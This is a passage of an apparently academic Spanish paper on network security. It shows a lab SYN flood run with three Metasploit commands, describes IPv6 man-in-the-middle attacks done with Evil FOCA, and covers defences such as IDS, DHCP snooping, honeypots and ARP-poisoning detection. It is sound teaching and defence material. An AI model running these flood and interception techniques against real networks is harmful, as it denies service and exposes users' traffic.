48 el ataque, más probabilidades tendrá de denegar el servicio. La peculiaridad de este tipo de ataques es que son muy difíciles de prevenir, ya que como se ve en la figura, el servicio no puede discriminar fielmente las peticiones “buenas” de las “malas”. Hacer un ataque DoS con Kali Linux no es muy complicado, por lo que se reproducirá un ejemplo simple usando SYN Flood. Recordando la configuración actual: Metasploitable corre un servidor web con una página de ejemplo, este será nuestro objetivo. Kali hará de atacante y Debian de cliente legítimo. Se usará Metasploit para hacer el DoS puesto que no necesita mucho más que lo que se ve en la siguiente imagen: 26 SYN Flood con Metasploit Analizando los comandos: “use auxiliary/dos/tcp/synflood” dice que vamos a utilizar un módulo de inundación de paquetes SYN, los que comienzan una comunicación. “set RHOST 192.168.101.129” indica la dirección IP víctima. “exploit” comienza el ataque. Si analizamos el tráfico de red con Wireshark podemos ver capturas interesantes: Trazas de peticiones SYN sin respuesta
49 A partir de cierto momento las trazas se empiezan a reutilizar. Esto se debe a que Kali empieza a utilizar los mismos puertos para realizar las conexiones con el servidor web. Al minuto de haber empezado el ataque, el número de trazas con puertos reutilizados es mayor. Las conexiones salen de todos los puertos posibles. Un detalle curioso sobre esta herramienta es la suplantación de IP del origen (IP spoofing), ya que sabemos que la dirección IP de Kali es 192.168.101.128, pero la que nos aparece es 54.98.74.198. Esta dirección cambia cada vez que ejecutamos el programa. En un solo minuto hemos generado aproximadamente 70000 peticiones SYN con Metasploit. No hay que calcular mucho para darse cuenta de que contando con una botnet medianamente grande (DDoS o DoS distribuido) se podría tumbar un servidor que no este preparado para una avalancha de conexiones simultáneas. Entre esas 70000 peticiones habrá unas pocas provenientes de la máquina Debian, por lo que si el sistema ha entrado en modo preventivo es posible que ignore esa petición. Aunque los DDoS no se puedan detener existen formas de mitigar sus efectos como establecer unas buenas políticas de filtrado de red con firewalls, usar servicios especializados para este tipo de ataques (Ej: CloudFlare) o bien invertir en medidas preventivas.
50
51 3 - Ataques en redes IPv6 Las especificaciones de IPv6 nacieron sobre mediados de los 90 ante el hecho previsible pero aparentemente lejano del agotamiento de direcciones IPv4, pero no fue hasta años más tarde cuando se empezaron a implementar de forma transparente al usuario. Esto hace que un gran número de técnicos sepan que existe, pero no lo que implica tener IPv6 activo en una red. Este protocolo ofrece bastantes características que mejoran a IPv4, como el uso obligatorio de IPsec en lugar de ser opcional, la no fragmentación de paquetes o mejor calidad de servicio, sin contar las 2128 direcciones asignables, dando lugar a la desaparición del problema principal de IPv4. Actualmente los sistemas operativos modernos deben ser capaces de interpretar el tráfico IPv6 por defecto, lo que se puede comprobar fácilmente mirando si nuestro equipo tiene o no asignadas ambas direcciones. Otro asunto distinto será si tenemos direcciones públicas IPv6 para utilizarla en nuestros servidores. 27 Ejemplo de dirección IPv6 (enlace local) La pregunta en este punto es si existe alguna diferencia entre los tipos de ataques que se pueden realizar: la respuesta corta es no. Todos los ataques que se realizan en IPv4 se pueden realizar de la misma manera con IPv6, especialmente los ataques en aplicaciones web ya que no dependen completamente de lo que ocurra en la capa 3. IPv6 nos da en principio una ventaja contra los atacantes: para realizar las técnicas básicas de recolección de información de la red física se vuelve más complicado por el elevado número de nodos que existen en una subred bajo este protocolo: en una subred cuyo CIDR es 64 (la mitad de los 128 bits que forman la dirección) el número de nodos asignables sería 18.446.744.073.709.551.616, lo cual es inviable para un escaneo clásico nodo a nodo, sin contar los puertos a analizar por cada uno de ellos. En principio la idea es buena, pero según Cisco en un documento publicado en 2011, se desmitifican varias ideas como esa ya que existen maneras de escanear una red y mencionan que el hecho de que se incluya IPsec solo implica que la comunicación se vuelve ligeramente más segura, pero se pueden dar casos en los que sea contraproducente.
52 Los siguientes nueve ataques tienen diferencias notables cuando se mueven al entorno de IPv6. En algunos casos los ataques son más sencillos mientras que en otros son más complejos: Reconocimiento Acceso no autorizado Manipulacion y fragmentación de cabeceras Spoofing en capa 3 y 4 Ataques con ARP y DHCP Ataques de redirección de tráfico Ataques Smurf Virus y gusanos Transición IPv4 a IPv6 Este capitulo es el más corto ya que son casos mucho mas específicos que los mencionados en el apartado anterior, estrictamente centrado en ataques a nivel de capa de red por lo comentado anteriormente: los ataques en aplicaciones web son igualmente replicables en ambos protocolos. En el primer apartado comentamos los ataques Man in the Middle en IPv6 con dos de sus estrategias y en el segundo apartado veremos un ataque más especial haciendo uso de los llamados dispositivos rogue. 3.1 - PoC: Man in the Middle Aunque IPv6 sea por diseño más eficiente que IPv4 no está exento de problemas. De hecho, puede ser un vector de ataque bastante vulnerable debido a la inexistencia de configuraciones para este protocolo. Un ejemplo podría ser un sistema de detección de intrusos que no detecte que se está produciendo un ataque DoS a través de IPv6 porque solo está configurado para tráfico IPv4. La única complicación existente (o ventaja según como se mire) para realizar los ataques de Man in the Middle se debe a la transición que aún se lleva a cabo para pasar de IPv4 a IPv6. Esto se traduce como configuraciones de red creadas para encapsular paquetes para que puedan ser compatibles con redes especiales como el caso de una red IPv4 que se deba comunicar con una red IPv6. Para esta prueba volvemos a realizar un ataque MitM igual que en la anterior usando dos métodos: suplantación de nodos vecinos y SLAAC.
53 3.1.1 - Neighbor Spoofing Para explicar este ataque hace falta explicar cómo se conectan los nodos por IPv6. Para localizar los nodos activos de una red IPv6 no existe el protocolo ARP ya que todo se basa en mensajes ICMPv6. El protocolo para el descubrimiento de nodos vecinos se llama NDP (Neighbor Discovery Protocol). Se llaman vecinos porque como se dijo antes una subred puede tener un número muy elevado de nodos donde solo hay unos pocos activos. Parte del protocolo NDP consta de dos mensajes que serían equivalentes a ARP: NS (Neighbor Solicitation) y NA (Neighbor Advertisement). El primero pide la resolución MAC-IPv6 y el segundo la contesta. Al igual que con las tablas ARP las direcciones MAC quedarán registradas en su consecuente tabla de vecinos. El funcionamiento habitual es que un equipo envíe un mensaje NS a una dirección Multicast y que el que tenga esa dirección responda con un mensaje unicast NA con su MAC. El problema es el mismo que con ARP: el atacante puede enviar un mensaje NA sin haber recibido ningún NS previo y falsificar la tabla de vecinos del objetivo para redirigir su tráfico. Para esta prueba nos vamos a valer de dos sistemas Windows, ya que la herramienta que vamos a usar para simular esto será Evil FOCA, una herramienta que permite hacer MitM tanto en IPv4 como en IPv6 solo para Windows. NS: Neighbor Solicitation NA: Neighbor Advertisement IPv6: 1234::1111 MAC: 11:22:33:44:55:66 IPv6: 1234::1 MAC: 00:00:00:00:00:01 IPv6: 1234::999 MAC: 00:00:00:00:09:99
54 La configuración de la red será de la siguiente manera: La configuración de la herramienta no es distinta a la de otras como Ettercap: se selecciona la puerta de enlace y la dirección de la víctima y automáticamente comienza el proceso de suplantación. 28 MitM con Evil FOCA Para confirmar que el tráfico se está interceptando correctamente hacemos un ping desde la víctima hasta el router, que podemos ver a través de Kali:
55 3.1.2 - SLAAC Se conoce como SLAAC (Stateless Address Auto Configuration) a la capacidad que tienen los nodos IPv6 de configurarse a sí mismos automáticamente cuando son conectados a una red IPv6 usando los mensajes de descubrimiento de routers de ICMPv6. La primera vez que son conectados a una red el nodo envía una solicitud de router usando multicast y si los routers están configurados para esto responderán con un anuncio de router. El funcionamiento es idéntico al mecanismo anterior del protocolo NDP, pero los routers son elementos especiales dentro de la red. SLAAC permite la habilidad de direccionar un nodo basado en el prefijo de red que se anuncia a través del router mediante los anuncios de router mencionados que incluyen: Uno o más prefijos IPv6 Información sobre el tiempo de vida del prefijo Información de flags Información del dispositivo SLAAC toma el prefijo anunciado para formar una dirección única que pueda usarse en la red. Tras esto se generará un identificador de nodo que se concatenará con el prefijo para formar una dirección IPv6 correcta. En principio el identificador se formaba usando las mismas reglas para crear los enlaces locales (EUI-64) pero algunos sistemas usan otras definiciones especificadas en el RFC4941 para dar un extra de privacidad. 29 Red IPv6
56 El objetivo del ataque es hacer MitM cuando un usuario se conecta a un servidor que no tiene soporte para IPv6 y debe hacerlo por IPv4. El objetivo del atacante será configurar el soporte IPv6 de la víctima y buscar un entorno en el que IPv4 deje de funcionar. Para conseguir el efecto que necesitamos es necesario conseguir que la víctima configure una dirección de vinculo local en IPv4, algo que se puede conseguir con un servidor DHCPv4 rogue o agotando el rango de direcciones del servidor DHCP. En este caso optamos por la vía rápida usando el comando ipconfig /release en el equipo víctima, que libera la dirección IP que se este utilizando. Para la configuración de IPv6 volvemos a usar la Evil FOCA utilizando el submenú MITM IPv6 -> SLAAC. Señalamos la dirección IPv6 local de la víctima e iniciamos el ataque. A partir de este momento y si todo está bien configurado la victima creerá navegar con normalidad por Internet sin saber que por debajo se esta realizando un proceso de conversión de direcciones que deja al descubierto su tráfico. 30 Así debe quedar la configuración de la víctima Para el ejemplo se ha intentado acceder al servidor de correos de Microsoft. Llama la atención que a la víctima no le aparece una dirección HTTPS y esto es por el proceso que hace Evil FOCA.
57 Capturamos el tráfico con Wireshark y nos fijamos en que las peticiones que realiza la víctima van sobre IPv6 y se dirigen hacia el atacante: El orden de las peticiones debería seguir el siguiente patrón: 1. La victima envía una petición para resolver el registro AAAA de Hotmail 2. El atacante hace una petición DNS de tipo A a Hotmail a través de IPv4 3. El servidor responde con la dirección IPv4 de Hotmail 4. El atacante genera una dirección IPv6 a partir de la dirección IPv4 que es la que le entregará a la máquina de la víctima Así, Evil FOCA se convierte en un enrutador de tráfico IPv6 hacia una red IPv4. Por último, si seguimos las trazas que genera la víctima nos topamos con la siguiente información: El ataque ha resultado ser un éxito y la víctima ha sido comprometida. Hay que hacer notar que para este escenario se han dado muchas libertades para realizar el ataque: la víctima se debe conectar con un navegador que soporte IPv6 y debe ignorar algunas de las “señales sospechosas” que avisaban de cambios en la red, como el icono de conectividad limitada en Windows. Para ejecutar este ataque existen otro tipo de herramientas como Radvd y NATPD para sistemas Linux o el script SuddenSix presentado en la Defcon21 de 2013.
64 4.2 - IPS, IDS y WAF Si nos paramos a pensar un poco en cómo está construido todo el proceso de intercambio de una comunicación entre dos máquinas no será difícil darse cuenta de las similitudes con la seguridad tradicional “pre-computadoras”. Las redes funcionan como una serie de edificios, cada uno con distintas plantas (segmentos) y habitaciones (nodos), y como todos los edificios necesitan algo que les garantice un mínimo de seguridad como pueden ser sistemas IDS, IPS y WAF. Un sistema de detección de intrusos (IDS) es un proceso o dispositivo activo que analiza la actividad del sistema y de la red por entradas no autorizadas o actividades maliciosas. La forma en que un IDS detecta las anomalías pueden variar ampliamente. Un IDS protege a un sistema contra ataques, malos usos y compromisos, monitorear la actividad de la red, auditar las configuraciones de la red y sistemas por vulnerabilidades, analizar la integridad de los datos, etc. Los tipos más importantes se conocen como IDS basados en host (HIDS) y basados en red (NIDS). Un IDS basado en host implica que se implementará un sistema de detección en cada nodo individual, mientras que el IDS basado en red filtrará los paquetes antes de redirigirlos a nodos específicos. A diferencia de los IDS los sistemas de prevención de intrusos (IPS) no se limitan a escuchar tráfico y mandar alertas. Los IPS ofrecen una visión más profunda de las operaciones de red y utilizan menos recursos que un IDS, detectan y bloquean cualquier intento de intrusión, transmisión de código o amenazas sin impacto en su rendimiento. En comparación con la seguridad de nuestro edificio, un IDS podría ser el sistema de cámaras de vigilancia o bien alarmas con sensores de movimiento mientras que un IPS sería el personal de seguridad que, además de vigilar, toma medidas ante los problemas. 34 Esquema de configuración básico IDS (Izquierda) y IPS (Derecha)
65 Ambos sistemas previenen buena parte de los ataques en la capa de red, pero si la amenaza proviene de fuera (Internet) no estaría mal contar con un firewall para aplicaciones web (WAF). Los WAF protegen los servidores de aplicaciones web de determinados ataques específicos en Internet como los ataques vístos anteriormente: XSS, inyecciones SQL, DoS… Al igual que los IDS/IPS hay dos tipos: los que residen en la red como un elemento más y los que residen dentro del servidor. Hay que tener especial cuidado con la configuración de dichos firewalls ya que si no están configurados correctamente pueden detectar falsos positivos, lo que implica transacciones denegadas y sus problemas derivados. Con respecto a estos sistemas en IPv6 hay malas noticias: como IPv4 no es compatible con IPv6 muchas de las herramientas que existen no pueden utilizarse de la misma forma, sin contar que las pocas herramientas que se adaptan a este protocolo no ofrecen la misma funcionalidad o lo hacen de forma reducida. Debido a la incorporación tardía de IPv6 existen varios mecanismos de transición IPv4 a IPv6 como el tunneling y las configuraciones de doble pila. En las configuraciones de doble pila los nodos pueden ser el objetivo tanto de ataques en IPv4 como en IPv6. Además, los firewalls y los sistemas de detección de intrusos deben soportar ambos protocolos y tener las reglas específicas para cada situación. Por otra parte, el caso del tunneling puede conducir a la posibilidad de que el atacante se salte los filtros configurados en la red, por lo que puede ser un problema bastante grave de seguridad. Por último, hay que recordar que la utilización de este tipo de sistemas no inmuniza al sistema de las amenazas externas, como bien expresa John Lambert, director general en el Microsoft Threat Intelligence Center:
66 4.3 - Redes privadas virtuales La definición de una red privada virtual (VPN) es bien conocida: nos da la posibilidad de conectar dos redes a través de una red pública como Internet. Se puede establecer una VPN de acceso remoto usando Internet, punto a punto por medio de un túnel (encapsulamiento de protocolos) o sobre LAN para intranets. Lo que nos interesa tratar en este punto son las ventajas de usar VPN para establecer una conexión segura. Las VPN, como cualquier otra aplicación que mejore la seguridad, debe garantizar varios requisitos: la identificación del usuario, el cifrado de la conversación, proteger las claves de cifrado utilizadas, etc. 35 Esquema VPN Para ello se pueden utilizar entre otros los siguientes protocolos: IPsec: mejora la seguridad a través de algoritmos de cifrado y un sistema de autenticación más exhaustivo. IPsec fue diseñado para proporcionar seguridad de punto a punto o en modo túnel, donde la seguridad del tráfico es proporcionada a varias máquinas por un único nodo L2TP/IPsec: este protocolo por sí solo no presenta unas características criptográficas robustas, por lo que se tomó la decisión de utilizarlo en conjunto con el protocolo IPsec para proteger los datos. PPTP/MPPE: la seguridad de PPTP es nula por lo que se desaconseja su uso. El fallo es causado por errores de diseño y las limitaciones de la longitud de la clave en MPPE. La privacidad es una de las necesidades que promueven el uso de las VPN: son una de las maneras más sencillas de proteger los datos en redes potencialmente inseguras y de las mejores herramientas para mantener comunicaciones anónimas o evitar bloqueos en determinados países. Sin embargo las VPN no dejan de ser una conexión donde la privacidad está supeditada a la confianza en el servicio que nos suministra la red y donde la seguridad se pierde si la máquina destino es vulnerable a ataques de terceros.
67 Respecto a las VPN sobre IPv6 cada vez más servicios ofrecen conectividad con este protocolo, aunque otros insistan en no establecer conexiones por temor a fugas de datos a través de este protocolo, especialmente con el tema de las “fugas DNS” con los que algunos ofrecen como solución desactivar manualmente IPv6. A través de dichas fugas se podrían llegar a identificar las máquinas enlazadas porque las consultas se hacen desde fuera de la VPN. 4.4 - DHCP Snooping DHCP Snooping es una funcionalidad de seguridad a nivel de capa 2, disponible en los switches. Su objetivo es prevenir que un servidor DHCP no autorizado (Rogue DHCP) entre en nuestra red y en combinación con otras funcionalidades puede evitar varias técnicas de spoofing. El funcionamiento se basa en asegurar que solo los servidores DHCP autorizados son accesibles: cuando hay servidores falsos de DHCP solo determinados puertos del switch van a poder ofrecer direcciones IP correctas, lo que conlleva la anulación de los servidores falsos. Además, si la dirección se configura manualmente la IP será descartada por el switch. Otro mecanismo que ofrece una solución similar es en el que los switches funcionan como agentes de retransmisión de DHCP. Estos agentes escuchan las peticiones de DHCP que se producen, las hacen suyas y realizan la solicitud en su nombre a los servidores DHCP. Así, cuando la respuesta es recibida se entrega al cliente, anotando la IP y dirección MAC. Con el DHCP Snooping activado solo una lista blanca de direcciones IP pueden acceder a la red.
68 Cuando un switch recibe un paquete de una interfaz no confiable compara la dirección MAC del emisor con la del cliente DHCP. Si coinciden el switch redirige el paquete correctamente, en otro caso lo descarta. Los paquetes se descartan concretamente en alguna de estas situaciones: Se recibe un paquete DHCP OFFER, DHCP ACK, DHCP LEASEQUERY desde fuera de la red. Se recibe un paquete de una interfaz no confiable (de la forma comentada antes). Se recibe un mensaje DHCP RELEASE o DHCP DECLINE que tiene su dirección MAC en los registros del DHCP Snooping pero hay incompatibilidad en la información. Un agente de retransmisión DHCP redirige un paquete que incluye una dirección IP de otro agente de retransmisión que no es 0.0.0.0 o que incluye la opción 82 (RFC 3046). o La opción 82 indica al switch que no debe añadir información adicional para que el servidor DHCP destino pueda identificar el origen del cliente en entornos distribuidos. En la siguiente imagen se puede ver una escena de uso de DHCP Snooping: DHCP Snooping también funciona en IPv6, aunque los nombres de los mensajes cambian respecto a los de IPv4 (por ejemplo, ADVERTISE en lugar de DHCPOFFER) pero por lo demás sigue siendo la mejor opción para evitar los dispositivos rogue al margen de deshabilitar la recepción de paquetes IPv6.
69 4.5 - Honeypots y Honeynets ¿Porqué no los busco yo a ellos en vez de que vengan a por mí? El planteamiento de los honeypots está en esa cuestión. Un honeypot es un equipo que se configura vulnerable adrede para que sea atacado. De la misma manera las honeynets son arquitecturas preparadas explícitamente para atraer sujetos maliciosos, ya sean bots o personas. Si el atacante ha conseguido entrar en la red (que no debería tener ningún tipo de valor más alla del engaño) queda supeditado a las acciones que queramos tomar en su contra, desde la monitorización de sus pasos hasta la recopilación de información para contraatacar. Existen dos tipos de honeypots clasificados por la interactividad que le dejamos al atacante: Baja interacción: diseñados para emular servicios vulnerables sin exponer completamente la funcionalidad del sistema. Alta interacción: aquí entran las honeynets, ya que cuanto más complejo sea el sistema, más tiene el atacante donde entretenerse. El problema es que crear una honeynet lleva un proceso de diseño previo para que no pueda haber un descontrol. Lo interesante de los honeypots, ya sean de baja o alta interacción, es que podemos ser capaces de ver en vivo y en directo cómo intentan vulnerar nuestro sistema, lo que los convierte en una fuente de información muy buena para aprender y mejorar siempre y cuando tengamos nuestro sistema bajo control. Hay cierta polémica con el uso de honeypots referentes a la privacidad: si un atacante genera tráfico en tu sistema, ¿se está accediendo ilegalmente a datos personales? ¿Qué pasa si el atacante es un agente de la autoridad? ¿En qué momento acaba la monitorización? "Es curioso este tema. De hecho, creo que no deberíamos de tener ni casa ni hogar, no vaya a ser que un ladrón entre a robar y se le caiga el DNI o el móvil sin querer y estemos violando su privacidad :)" Anónimo en Internet Una de las soluciones que se proponen para evitar este problema es avisar sin posibilidad de confusión que el sistema está siendo monitorizado. De la misma forma que un usuario puede aceptar unos términos y condiciones de uso de un servicio con un clic, el atacante se expone a ser monitorizado y da su consentimiento sobre la utilización de sus datos personales.
70 4.6 - PoC: Prevención y detección de ARP Poisoning Para este ejemplo vamos a usar la red fuera de la virtualización, es decir, vamos a interceptar el tráfico entre el host principal e Internet utilizando una máquina virtual. Dicha máquina hará el ataque usando Cain&Abel, una suite cuyo propósito es la recuperación de contraseñas en sistemas Windows y que en su ultima versión implementa una función de envenamiento ARP. El envenenamiento ARP es el ABC de los ataques MitM y por ende cada vez es más sencillo hacerlo con menos conocimientos técnicos. Para prevenir que cualquiera sea capaz de leer nuestro tráfico es conveniente seguir una serie de indicaciones que nos ayuden a controlar donde nos conectamos y sobre todo fijarse en los detalles que pueden pasar desapercibidos. Una forma muy sencilla de prevenir dichos ataques es configurando direcciones estáticas para que el sistema no acepte información falsificada. Si el sistema no acepta paquetes ARP Reply porque ya se han configurado los caminos de comunicación el problema se corta de raíz. El problema con esta solución es el escenario de mantenimiento que conlleva, por lo que solo se debería centrar en proteger aquellas direcciones más significativas que suelen ser fijas. Sabemos por lo visto anteriormente que cuando se realiza un envenenamiento el equipo del atacante funciona como un repetidor por el que pasa el tráfico, pudiendo este incluso reconducir las peticiones a otros lugares o denegar el servicio, lo que conlleva una caída del rendimiento de la red en general, por lo que debemos ser cautelosos cuando notemos que el servicio al que nos conectamos no funciona todo lo bien que debería funcionar. El ejemplo más ilustrativo es la falta de imágenes al navegar por la web, como se ve en la página siguiente:
71 36 Facebook no carga bien las imágenes, ¿es culpa de sus servidores? Hora de sospechar Con una pequeña prueba en consola deberíamos comprobar si estamos siendo atacados: arp -a 37 Dos direcciones IP con la misma MAC = Peligro Otra forma es verlo a través de Wireshark o similar, pero para no estar siempre comprobandolo a mano aquí entran en juego los sistemas de detección de intrusos. Para esta prueba vamos a utilizar Marmita. Marmita es una aplicación para detectar envenenamientos ARP desarrollada a partir de un proyecto de final de Máster de unos estudiantes en Madrid. Al iniciarse Marmita se crea una tabla ARP virtual mientras que se pone a la escucha en la interfaz de red indicada. Si llega un nuevo paquete ARP busca dos IP con la misma MAC, si se da el caso envía paquetes ARP Request de comprobación y si se da la existencia del ataque lanza un aviso. Simple pero efectiva. 38 Marmita detecta un ataque e informa quién lo realiza
72
73 5 - Análisis de redes segmentadas Cuando se habla de red segmentada el primer pensamiento se asocia automáticamente al mundo empresarial: distintos edificios, distintos departamentos, distintas necesidades. La finalidad de la segmentación de una estructura de red son muchas como mantener un control de accesos, localizar servicios en segmentos específicos o aplicar políticas de red. Lo mejor de la segmentación es que se minimiza el nivel de acceso a información sensible para los elementos de la red (aplicaciones, servidores, personas) que no necesitan dicha información, mientras que se permite a los que sí lo necesitan, al mismo tiempo que se les complica la tarea a los posibles atacantes para acceder a los sistemas. Los firewalls y las VLAN ayudan a particionar la red en zonas más pequeñas, asumiendo que se han definido reglas para controlar las conexiones. Algunos de los consejos más frecuentes para estas redes son: Implementar controles sobre diferentes capas de red (cuantas más capas, más difícil será para los atacantes acceder a la información) Aplicar las reglas de menor privilegio (el acceso a niveles superiores solo se debe dar si es absolutamente necesario) Segmentación del acceso a la información basado en los requisitos de seguridad Definir listas blancas en lugar de bloquear intentos de acceso no autorizados 39 Configuración típica de red segmentada Es fácil ver que la segmentación de una red en muchas zonas no es una tarea simple, pero cada pequeño paso controlado es un seguro para prevenir ser atacado. Para lograr esta tarea es recomendable apoyarse en los distintos estándares que existen para segmentar redes como el PCI DSS para aquellos que procesan o guardan información sobre tarjetas de crédito y débito, las publicaciones de seguridad del NIST o las guías de buenas prácticas que realizan profesionales del sector.
80 Bibliografía Perez, L. (2016). Roban U$S10 Millones de un banco ucraniano a través de SWIFT: Asystec. Asystec.com.do. Recuperado de http://asystec.com.do/2016/06/roban-us10-millones-de-unbanco-ucraniano-a-traves-de-swift/ Low Interaction Honeypots Revisited | The Honeynet Project. (2016). Honeynet.org. Recuperado de https://www.honeynet.org/node/1267 honeypot | Bytecoders. (2010). Bytecoders.net. Recuperado de http://bytecoders.net/category/honeypot/honeypot Robota. (2016). Robota.net. Recuperado de http://www.robota.net/index.rsws?seccion=5&submenu=1&articulo=173 Montserrat Coll, F. (2005). Reciclaje de ataques IPv4 en IPv6 (1st ed.). Valencia. Recuperado de http://www.rediris.es/cert/doc/pres/jornadas-ipv6.pdf ATAQUES A IPv6: THCIPv6 (1st ed.). Recuperado de http://www.tic.udc.es/~nino/blog/psi/2010/ipv6.pdf Nebot Gozalbo, R. (2007). Honeypots aplicados a IDSs: Un caso practico (1st ed.). Recuperado de http://ids.surfnet.nl/wiki/lib/exe/fetch.php?media=downloads:slides.pdf Intelligence Gathering - The Penetration Testing Execution Standard. Pentest-standard.org. Recuperado de http://www.pentest-standard.org/index.php/Intelligence_Gathering Stoica, A. (2016). A Study on The Inform ation Gathering Method for Penetration Testing (1st ed.). Journal of Security Engineering. Recuperado de http://www.sersc.org/journals/JSE/vol5_no5_2008/6.pdf FootPrinting-First Step Of Ethical Hacking. The World of IT & Cyber Security: ehacking.net. Recuperado de http://www.ehacking.net/2011/02/footprinting-first-step-of-ethical.html Rouse, M. (2007). What is snooping? - Definition from WhatIs.com. SearchSecurity. Recuperado de http://searchsecurity.techtarget.com/definition/snooping What is Sniffer and how to detect sniffing in computer network | Binary Head. Aboutonlinetips.com. Recuperado de http://www.aboutonlinetips.com/sniffer-types-andprotecting-against-sniffing/ García, C. (2010). Hablemos de Spoofing. Hacking Ético. Recuperado de http://hackingetico.com/2010/08/26/hablemos-de-spoofing/ Alonso, C. (2011). Ataque Man in the middle con DHCP ACK Injector. Elladodelmal.com. Recuperado de http://www.elladodelmal.com/2011/10/ataque-man-in-middle-con-dhcpack.html Soliman, B. (2011). Denial of Services and Man-In-The-Middle. Bryan Soliman Blog. Recuperado de https://bryansoliman.wordpress.com/2011/07/06/denial-of-services-and-man-in-themiddle/
81 Tipos de Spoofing: IP Spoofing, ARP Spoofing y Email Spoofing - Delanover. (2010). Delanover.com. Recuperado de http://delanover.com/2010/08/17/tipos-de-spoofing-ipspoofing-arp-spoofing-y-email-spoofing/ Para qué se usa un Sniffer - Culturación. (2011). Culturación. Recuperado de http://culturacion.com/para-que-se-usa-un-sniffer/ Pérez, I. (2014). Las técnicas de Ingeniería Social evolucionaron, ¡presta atención!. WeLiveSecurity. Recuperado de http://www.welivesecurity.com/la-es/2014/05/21/tecnicasingenieria-social-evolucionaron-presta-atencion/ Álvarez Cabrera, C. (2003). Aspectos penales relativos al uso de ‘honeypots’ (1st ed.). Colombia. Recuperado de http://legal.legis.com.co/document?obra=rpenal&document=rpenal_7680752a803a404ce043 0a010151404c Gleason, M. (2001). The Ephemeral Port Range. Ncftp.com. Recuperado de http://www.ncftp.com/ncftpd/doc/misc/ephemeral_ports.html#Windows Manual Page - ettercap(8). Irongeek.com. Recuperado de http://www.irongeek.com/i.php?page=backtrack-3-man/ettercap Tutorial: Using SSLSTRIP in a "Man in the Middle" Attack - Cybrary. (2016). Cybrary. Recuperado de https://www.cybrary.it/0p3n/sslstrip-in-man-in-the-middle-attack/ Baena, J. (2008). Fingerprinting activo y pasivo. Bpsm1nd - The beauty of the baud. Recuperado de https://bpsmind.wordpress.com/2008/07/17/fingerprinting-activo-y-pasivo/ Tipos de Ataques. Datateca.unad.edu.co. Recuperado de http://datateca.unad.edu.co/contenidos/221120/MaterialDidacticoExe/HerramTeleinfor/54_ti pos_de_ataques.html What is WHOIS data used for? | ICANN WHOIS. Whois.icann.org. Recuperado de https://whois.icann.org/en/what-whois-data-used SQL Injection - OWASP. Owasp.org. Recuperado de https://www.owasp.org/index.php/SQL_Injection Tutorial - Manual SQLmap: ataques SQLi - Inyección SQL. (2014). Blog.elhacker.net. Recuperado de http://blog.elhacker.net/2014/06/sqlmap-automatizando-ataques-sqliinjection.html Mutillidae: Lesson 12: SQL Injection with sqlmap, tamper data & burpsuite. Computersecuritystudent.com. Recuperado de https://computersecuritystudent.com/SECURITY_TOOLS/MUTILLIDAE/MUTILLIDAE_2511/less on12/index.html Elhady Mohamed, A. (1st ed.). Complete Cross-site Scripting Walkthrough. Recuperado de https://www.exploit-db.com/docs/18895.pdf Excess XSS: A comprehensive tutorial on cross-site scripting. Excess-xss.com. Recuperado de http://excess-xss.com/
82 XSS for fun and profit (1st ed.). Recuperado de https://xsser.03c8.net/xsser/XSS_for_fun_and_profit_SCG09_(spanish).pdf Cross Site Request Forgery (CSRF). Docs.spring.io. Recuperado de http://docs.spring.io/springsecurity/site/docs/current/reference/html/csrf.html Czagan, D. (2013). CSRF Proof of Concept with OWASP ZAP. Resources.infosecinstitute.com. Recuperado de http://resources.infosecinstitute.com/csrf-proof-of-concept-with-owasp-zap/ IPv6 Security Brief. (2011). Cisco. Recuperado de http://www.cisco.com/c/en/us/products/collateral/ios-nx-os-software/enterprise-ipv6solution/white_paper_c11-678658.html Wilkins, S. (2013). Mastering IPv6 SLAAC Concepts and Configuration > SLAAC Defined. Ciscopress.com. Recuperado de http://www.ciscopress.com/articles/article.asp?p=2154680 DRAFT NIST Special Publication 800-63B. Pages.nist.gov. Recuperado de https://pages.nist.gov/800-63-3/sp800-63b.html#sec8 Goodin, D. (2016). Using IPv6 with Linux? You’ve likely been visited by Shodan and other scanners. Ars Technica. Recuperado de http://arstechnica.com/security/2016/02/using-ipv6with-linux-youve-likely-been-visited-by-shodan-and-other-scanners/ Catalyst 3750-X and Catalyst 3560-X Switch Software Configuration Guide, Cisco IOS Release 15.0(2)SE and Later - Configuring DHCP Features and IP Source Guard [Cisco Catalyst 3750-X Series Switches]. Cisco. Recuperado de http://www.cisco.com/c/en/us/td/docs/switches/lan/catalyst3750x_3560x/software/release/ 15-0_2_se/configuration/guide/3750x_cg/swdhcp82.html#wp1078853 Curso de Microsoft Exchange Server 2010, Lección 2: 2.10. El agente de retransmisión de DHCP o "DHCP Relay Agent". (2016). Adrformacion.com. Recuperado de http://www.adrformacion.com/cursos/exchange10/leccion2/tutorial5.html Banks, E. (2012). Five Things To Know About DHCP Snooping - Packet Pushers -. Packet Pushers. Recuperado de http://packetpushers.net/five-things-to-know-about-dhcp-snooping/ DHCP Snooping y CISCO. (2013). CMD sistemas. Recuperado de https://cmdsistemas.wordpress.com/2013/05/14/dhcp-snooping-y-cisco/ Detección de intrusos. Web.mit.edu. Recuperado de http://web.mit.edu/rhel-doc/4/RHDOCS/rhel-sg-es-4/ch-detection.html Iglesias, P. (2015). El tenso debate sobre la confianza, privacidad y seguridad de una VPN. PabloYglesias | seguridad + privacidad + tecnología. Recuperado de https://www.pabloyglesias.com/confianza-en-una-vpn/ Thomas, K. (2015). The sad stats on state of cybersecurity: 70% attack go unchecked. WeLiveSecurity. Recuperado de http://www.welivesecurity.com/2015/09/09/cybercrimegrowing-concern-americans/ Netcraft | SSL Survey. Netcraft.com. Recuperado de https://www.netcraft.com/internet-datamining/ssl-survey/
